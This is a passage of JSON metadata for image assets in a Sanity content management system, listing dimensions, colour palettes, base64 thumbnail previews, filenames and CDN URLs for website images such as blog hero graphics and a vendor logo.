":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9a8a8","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8bc90","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838282","foreground":"#fff","population":1.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47f2a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c2493b7a5bcab6d1fea6e306015cf81e935e6d4-700x167.png","path":"images/sczeoy4w/production/3c2493b7a5bcab6d1fea6e306015cf81e935e6d4-700x167.png","sha1hash":"3c2493b7a5bcab6d1fea6e306015cf81e935e6d4","size":12749,"uploadId":"M9C2fMoBzRyroFgraOuml5mTdQyazynS","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c2493b7a5bcab6d1fea6e306015cf81e935e6d4-700x167.png"} {"_createdAt":"2024-06-27T17:47:12Z","_id":"image-3c3443df5d00f587cf3201b9e078cac2560a593f-1200x628-png","_rev":"eksQ0uttcr8BeSzSsXVX4e","_type":"sanity.imageAsset","_updatedAt":"2024-06-27T17:47:12Z","assetId":"3c3443df5d00f587cf3201b9e078cac2560a593f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MF5},|xRV?jZae%Qt0WBWBa}joj^a$j?oJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACIUlEQVQokVXOe0/aUBjH8b4CoFx6Tm+np1xasSBIBcfFiShTJ3PSFiyXprDFxcRlLHHL4m6JzoFjYpwgZsmy+FIXYFmy5PPv9/k9BODNiHqYWTtO59+m8++WV0+SKx+SDz+lVk9zG7381mW2OIhlvonRr2i+KyjfceRKjN6IsZEYuyUAqiVznV3jdNc43ymfl/TedvmiWOoVn/S39q529GGpMi6URou5QSjex0r/vxiiWirXeVo508zuXrVX0ntr218yhbPsRjf3qL+yOVgvDQs7t8n8DzkxECOXYvRaXBj542N/fEwA3lQWX6Tzx/nNk/XHn7OFj8rS+1D8VE5chJcG4dR15MEwmh4ry3eSeiepPyX1l5T8Lafu5dQ9QUIDIJMNWIL8zD9/iMNHvPxGUM78C/3Q4nUocSMlhhPqSFJvZ0LqeHrojnD4NAelOSjDCU2SsTxc24sOAD5kgke81OHlDpJfz3DSKxh4CcSjfwinT3NRGgkNkqmRjOVmbZJpkvS+lzMpVAdCHeI6xA2IGz6+RtIVB9CdlO4EE4SbKvOMJvrrKNQGuO1hWyTddMGqh92HuE6LDTbQZIMWF7RoseHjTTdTJaHhoHQHpRFeUA5w2pzcDCoHTOC5h/sbk3SFFhtIsrHcwnNtHG4jyWb8TSDUPGzVCaaxi9K8UKe4fR9qennbw7bcjDWNDYjrgmwLcgtJNpJsLmD5+NpkmTZmb/8BFl6UqubrcJ8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3061","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":24.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":24.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#939ac7","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acb4db","foreground":"#000","population":0.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c99","foreground":"#fff","population":2.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3544bd","foreground":"#fff","population":5.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of TechDevrel Hero image template 1200x628.png","path":"images/sczeoy4w/production/3c3443df5d00f587cf3201b9e078cac2560a593f-1200x628.png","sha1hash":"3c3443df5d00f587cf3201b9e078cac2560a593f","size":77455,"uploadId":"0dzghXsFgbhiTrP6iPokX4zgrHQKCJ4d","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c3443df5d00f587cf3201b9e078cac2560a593f-1200x628.png"} {"_createdAt":"2023-01-24T08:58:25Z","_id":"image-3c36007a192126d3b02e5276a605936cde106ac1-1500x770-png","_rev":"TE2o7iA1WIUKtaPRdhCpEZ","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:58:25Z","assetId":"3c36007a192126d3b02e5276a605936cde106ac1","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.948051948051948,"height":770,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQokX2RCw6EIAxEvRCBQKC0sPe/1qYfPrK6E00N8DpTvGhTa01e6lxMhMgPESICQCklpeS9d85dxgx4qKvGFkoTnHAIweCbs/U4YF4lwlrrCW+GlrT3QQvf+IwEwAoAr85qNaOviZTFJ+ff2CuGrQlaIef8z1lCbjMs8cwnfN62fDzOPC/s9VdpucGNtIfCMUaDtxMGcPks6bYWjT3hL5BUhPSDaBlhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434341","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4a2","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4a2","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbdbb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c7e7b","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80807e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sending-multiple-messages.png","path":"images/sczeoy4w/production/3c36007a192126d3b02e5276a605936cde106ac1-1500x770.png","sha1hash":"3c36007a192126d3b02e5276a605936cde106ac1","size":394142,"uploadId":"YN48F0z3e0ak6k4fo9e6PuJMOBRxu9oD","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c36007a192126d3b02e5276a605936cde106ac1-1500x770.png"} {"_createdAt":"2022-09-07T06:39:22Z","_id":"image-3c3636cc778320e06829783ee63da373d43f8394-1708x230-png","_rev":"iXZJY95zKUl2We0EvZjTbV","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T07:56:47Z","assetId":"3c3636cc778320e06829783ee63da373d43f8394","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"40T9L#4n00~q00","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.426086956521739,"height":230,"width":1708},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAI0lEQVQImWP4/Pnzp0+fPn/+/OPHjz9g8O/fv//EAQZKNAMAGPF2V98GeOAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#787878","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787878","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c3636cc778320e06829783ee63da373d43f8394-1708x230.png","path":"images/sczeoy4w/production/3c3636cc778320e06829783ee63da373d43f8394-1708x230.png","sha1hash":"3c3636cc778320e06829783ee63da373d43f8394","size":2922,"uploadId":"tAEcRWG1q9ZaQKB2WZxfSIp9Mye7uOPa","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c3636cc778320e06829783ee63da373d43f8394-1708x230.png"} {"_createdAt":"2024-03-08T09:01:53Z","_id":"image-3c447de8bd02a9d7250c6f73c5df8e757d5793d4-2956x1928-png","_rev":"QYGdEGGMhf311CDlzrFLYG","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T09:01:53Z","assetId":"3c447de8bd02a9d7250c6f73c5df8e757d5793d4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5SZ2:RkRi.8V@1*M{jYRjxa9[WBf6WBs:_MoeWBWBay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.533195020746888,"height":1928,"width":2956},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABY0lEQVQokWWQi27bMAxF/f+/OGxogiRd2ji29SJ5SbkbTScNtosDW5R0TMlDyuXjPv2+jbdpyY0IRvoN7/QHFqXoCluHsfDb5/Ljffx1vR/HdJqKM9fTVE9TOS/tkih4T3xZyMn8UTFzH6aG45h/Xue3z+Vwy4cxHcZ8vOejP8tpbudEwSXxeSEn8bVikj7UxvdUxqVMmebCS6XUKJNsoLAGVbTBdrYrSF8HapxzdQqlzKVya0zEREIEIt0QEVXtZqtZfzKUIim1lFsunAuX4n7dkVJRK4jAbIIOXUWMWB2yoVZxp3Jt0hoCIjTy0icJAgNWqMssFkut2cDs+4iEBSIaAPvAJ6Fq3foaQI0Z7HtsAJRZmAVQ7FHV59ir3vv6iFkX8Wm/M4AX2dli8Yqyd3uV4/O9u/zs/JrdjMLsXxlAyJAt4bw0/+5s9v+xt86qGnIkTiH+85wYm/WvR8wsjvlX/gPBBvKKmAFxSAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e5c5e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#135071","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dceff9","foreground":"#000","population":2.61,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c4cb","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dceff9","foreground":"#000","population":2.61,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888a8e","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#259bd9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mysql-change-plan.jpg","path":"images/sczeoy4w/production/3c447de8bd02a9d7250c6f73c5df8e757d5793d4-2956x1928.png","sha1hash":"3c447de8bd02a9d7250c6f73c5df8e757d5793d4","size":109189,"uploadId":"iRielFeQKGkoh9sjxba0rfG0yDNxjJbR","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c447de8bd02a9d7250c6f73c5df8e757d5793d4-2956x1928.png"} {"_createdAt":"2023-11-07T07:22:17Z","_id":"image-3c4cf4b158f644598eb19a8831c50134616b290c-1200x630-jpg","_rev":"gpV4rQ1RP6Oi5x5QrWIbJ9","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T07:22:17Z","assetId":"3c4cf4b158f644598eb19a8831c50134616b290c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBM1j0wEJ|nALBX=qj0Fzs61h]~wOFgwZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAiEAABBAICAQUAAAAAAAAAAAABAAIDBAUREiExBhNBcYH/xAAXAQADAQAAAAAAAAAAAAAAAAADBAUG/8QAHhEAAQQCAwEAAAAAAAAAAAAAAQACAxIREyMxQWH/2gAMAwEAAhEDEQA/AOHYy17kkMLadd7yeILh5+1WVMNkXv4DHVd8g39KjopHMrxFp0WnYIHab1speDiRal3sHe/laQiV0fAQHZ96QYtQfygkfE3uenMjWsPimia17T2AekLFYyVyWVz5LMjnHySUKnFsoLkZ9wl30sa9L//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4579","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042883","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d06d41","foreground":"#fff","population":11.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c2","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5662c9","foreground":"#fff","population":4.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a5ca3","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d06d41","foreground":"#fff","population":11.53,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Expert_services_page_meta_preview_1200x630_1.jpg","path":"images/sczeoy4w/production/3c4cf4b158f644598eb19a8831c50134616b290c-1200x630.jpg","sha1hash":"3c4cf4b158f644598eb19a8831c50134616b290c","size":195187,"uploadId":"n2LriszRvjKna2y2OJ3EKMV5fUaQy6kZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c4cf4b158f644598eb19a8831c50134616b290c-1200x630.jpg"} {"_createdAt":"2024-05-06T11:42:32Z","_id":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_rev":"BBilaBRu5SWkONsyWkXp94","_type":"sanity.imageAsset","_updatedAt":"2024-05-06T11:42:32Z","assetId":"3c7262d7b3ed8f0bbba8c081868828ae144d38f5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D46IaQt:tpb{IroztmsCtSRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.544943820224719,"height":178,"width":809},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABI0lEQVQYlRXNwUoCURQG4HmLaCFz/ksLsRaFi4j03jNjzWhGEtEiKciZe66aYDiOSlYQuWjRIle17hFaVPug94q+F/g8as6/UJ9+I8o/qTH7oOZ8oOJREWEXCHsFYlcilh0VuF0Vdsuq1vMR9lYRuAKxrEMnW1TtbJJOSqh2Vjw6uPmlePKCKBtSnL9SlOeoDSoI3DHYnZGxQizXCNwIgeuDpQWWQ2LXInYXZOwl6eTI12ndryZFj6L8jfazJUXjR4rGS+yN2iroboNFwPYWxj4QywKBewK7Bdj2YawjliGxmxPLlFjOfZ22SScVD+GwRfvZO9VnP9SYPSMel9fYbiiTniqTCkyawdh7sL0DywTGpsqkJ2D7H+ZguQKLhU770En7D+XqXgM7ZRjkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344560","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4476","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#344560","foreground":"#fff","population":0.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#135085","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8bc0ed","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#135085","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145186","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-mirakl.svg","path":"images/sczeoy4w/production/3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178.svg","sha1hash":"3c7262d7b3ed8f0bbba8c081868828ae144d38f5","size":117847,"uploadId":"TYp7pl0xt33VtPtTB8mWjjESE2LqowHI","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178.svg"} {"_createdAt":"2023-02-02T13:06:27Z","_id":"image-3c7a383c6c7536e6d7c6b82fbaff197738eb13cb-1735x711-png","_rev":"pnOvEyahjeT2Gte9fkINi7","_type":"sanity.imageAsset","_updatedAt":"2023-02-02T13:06:46Z","assetId":"3c7a383c6c7536e6d7c6b82fbaff197738eb13cb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7RfkB.8_3t79F?bozaet7tR~qx]jZofWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.440225035161744,"height":711,"width":1735},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABXklEQVQYlT2RzW6rMBSEef8n66bKogSRGxII/uNgCD62sY9tFr2lUr/1jGY0U5VScs6IqLW21pZSjuNIKc3zXNf15XLhnBPRcRxEBIzdPz5eX1/+VFY55xjDsixKqW3bUkqlFCKapul6vTZNMwEQUSllD0Ex1n1+jk3jEHPKVYzBGAMASimttfc+xoiInPOu6/q+l1IiYozRWgtKiWFQnG/bFkKsnHMAwDlnjEkpt22z1gohmqap65/stm2FEIi4rqv8RSm9LN7vlTFGSvl6jePIAMA6t+/7PM+Prmvb2+12e/a91to5936/pZJCCAAwxsQYK2utUhNjbAJwzqX8QwhhBugej3vXcc4RkYi890qpYRimabLWElFFRGitXhaDmFI6TnLO67o+ns9/9ztjDBFzzkS0nM3XdQ0hpJSqchwp5xBjPCf9MxtjOOevcQQA7305iZH2fSeinPP/q74BX228VSUWnxoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3230","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163c19","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e11e40","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc6684","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64a48c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e11e40","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3c7a383c6c7536e6d7c6b82fbaff197738eb13cb-1735x711.png","path":"images/sczeoy4w/production/3c7a383c6c7536e6d7c6b82fbaff197738eb13cb-1735x711.png","sha1hash":"3c7a383c6c7536e6d7c6b82fbaff197738eb13cb","size":184513,"uploadId":"7xr5zH5iQljZqSK7tdNSDgV1y4IzdSru","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c7a383c6c7536e6d7c6b82fbaff197738eb13cb-1735x711.png"} {"_createdAt":"2024-05-08T12:49:23Z","_id":"image-3c9e26dd1608107e1250fa4508790f1e00ee0d30-1762x1124-png","_rev":"6IjwK8t2YScx5mkOZiYlym","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:23Z","assetId":"3c9e26dd1608107e1250fa4508790f1e00ee0d30","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V04LXgD$og4T-=aJ%MM{%MM{DhtRs-x^V@IoNG-;ent7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5676156583629892,"height":1124,"width":1762},"exif":{"PixelXDimension":1762,"PixelYDimension":1124,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAABcklEQVQ4jYVS7W6DMAzkNfoRYjshIUApbJ1ardK093+pm5yWlrZU+3G6JJA7O75is9nAEoNdhdIS1us1VqvVC/R8u93CGPMAay2YOaMsSxSmLMEscN6DmLE1Jl9Uozn0bEnQGJOFFLoudKEuRJR52k+uIpJ5+vYfirnDJOacQ9d12A8DhmHIa+/9zWQJRAq6VDgJTRxCwDgOOBwOGeM4omkaxBjfIoSAqqpQPLeie62maTskFanrhwvKr4hITYtu118EJ9xa9hVCs4MLCcSSW3kPCxaHuPvA/viz/IbsK7h2D9f24BBBTmDJorTLg7DE8N2I/vSLQvM1iVp7FXQCqRMktZBYg70DsXZxN513RcxIbYfP4wmFhnZepf4kThBihA8B4h1YJF+yOVqP8Spzjhl93+N8/l4W1NiklFDXdR6E+ArsAsRVWfxZUM10iF/vKtRMqahOW1kfneTKs5DfmeBDRNcPj4JLEXqH5+yqWYg1/gBpFmjk2kVDIAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3f48","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#845c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2d3f48","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcccb1","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1ce71","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#618199","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b48c24","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"clone.png","path":"images/sczeoy4w/production/3c9e26dd1608107e1250fa4508790f1e00ee0d30-1762x1124.png","sha1hash":"3c9e26dd1608107e1250fa4508790f1e00ee0d30","size":137958,"uploadId":"ipPUiH6h6xmAzAUlmtfamB6g3ULAEYDF","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c9e26dd1608107e1250fa4508790f1e00ee0d30-1762x1124.png"} {"_createdAt":"2023-02-28T10:44:38Z","_id":"image-3ccc57ac82cd2b6243e238fe0cb03b52b2753dea-1567x844-jpg","_rev":"56phF24iadx67fpLPzoBhM","_type":"sanity.imageAsset","_updatedAt":"2023-02-28T10:44:38Z","assetId":"3ccc57ac82cd2b6243e238fe0cb03b52b2753dea","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96bcr%MM{xuRP_NtRM{ozRjxtogaxj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBBQf/xAAgEAABAgcAAwAAAAAAAAAAAAACAAEDBAUREiExFVFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwUG/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAEREv/aAAwDAQACEQMRAD8AySFV5AYcMSp4k4tt9bUhVpGzv48cn+KkmOBziUeLT5UIunYEbcUnxxu97ekJC27oSBn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3a66","foreground":"#fff","population":1.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f9fbd","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94a2e6","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac846c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043cbe","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Seeking_the_best_possible_Apache_Flink®_experience_blog.jpg","path":"images/sczeoy4w/production/3ccc57ac82cd2b6243e238fe0cb03b52b2753dea-1567x844.jpg","sha1hash":"3ccc57ac82cd2b6243e238fe0cb03b52b2753dea","size":66655,"uploadId":"pzxjNRkdFdqA1uiqCwVwqRgQPVFffAFS","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ccc57ac82cd2b6243e238fe0cb03b52b2753dea-1567x844.jpg"} {"_createdAt":"2023-06-20T08:14:36Z","_id":"image-3d0a56a9bd54a3c7b7ed10fe206f58f72d2732a2-100x100-svg","_rev":"DEr13LRm8S6bXdr2Y1MqzW","_type":"sanity.imageAsset","_updatedAt":"2023-06-20T08:14:36Z","assetId":"3d0a56a9bd54a3c7b7ed10fe206f58f72d2732a2","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":100,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAELUlEQVQ4jbWUS0xcVRzGv7BxjAu7mzGpMSr3PC4MGyFKlOhCbCAxalJNNCUNXbAw1ZjUVgrM3JkLA/O4d5BXcWCglJeUFGhJEWiUR4RGsWihvCyKpTADDMYYJ8S4YK45V4Qm1q70S05yVr98//P/vgP835phLnzPFMwxl3mWmIIfuBOr3IEIL8EmL8aWXIJ17sAWL3owbJKpmN0Dfc1UTDM3bjI35rkLK9yJCHdgk5dgmxcjJpdgQy7Bz+xfoMPUg3FWjhtMxQjzoJP4sSicUgVL1ImfDp/G2iPvIop8bGTriEmFiDx6EpFU5z+hPcyLHurDAKvAGPdg2e7GnF3FbIpqmecu2zJzSne4Q1onRbbN5ELLLy9r+AN52Hj8FDaePGM63ZaLD4Ad1I9LxIdxVoZ24sUoK0ua5KXWb5iaO8PcyhJXwiuyM7xuV5RNuzM3xoqssafOJP2ON7FNixCTi7HGSw6A3cyLAVqO26kudCd7cY2VW0dp2YnrKZ6h79J90cVMf3wlyx+P5FRFY0eCQ7EMNT9Gzlp/e68D0XTVfFOxrAMg9aGfedHF/OiV/ZartCL3Gq8YmsgM7sy8FjIWjzYaK+80GdH3u4xY/vmdzSzv4AYrztlKc1q2n/jQXJQ4++qkflyxB9CTGkC3HLBdTtOU4cyq6PXXm4ybx9t35/IuJJYLOhOrJ7t2777VYNx9tjyyxh1KRHbYNqSzZpzW7wW20gD60j9GV4qGdhaQLmVUhT/LDsXHj7YYU8faEzMnOo2Fgk7hNLH4nM+4neKKr3BnWCxqlTnMSImc7quZaGhLDaIpOYBmEpDa0irDF9Or4v1ZdcbYG+cTX73danx7rNVYON6WWHilxpi3l8aXmBJelhVJlEDkVIR/Xw1EQwPRUS/pCBHN1kh1pZkEop2putH/fO3u59mfJKYLLibuVI/t/vjRZWP2BT0yQxVlwa7ablHFDL9o1L7OUR3niI4aWinulnqi54aIPtTMtJ0OWTP6nqk0JvI6jCXfF8bi6cs7N16qGpySXDnzGV7LguTENFMxx133AImGWhJEI9VRR3Rxt56j+okQ1YeE0w4eiF/JrImPvhqOTOSEBr/M0PInkt3WX8uu4mJKwKzpLeo+ADbuAWtIEAqpQQ0NJgloPdVzG6mmtNBA+FPmD/fKfucA9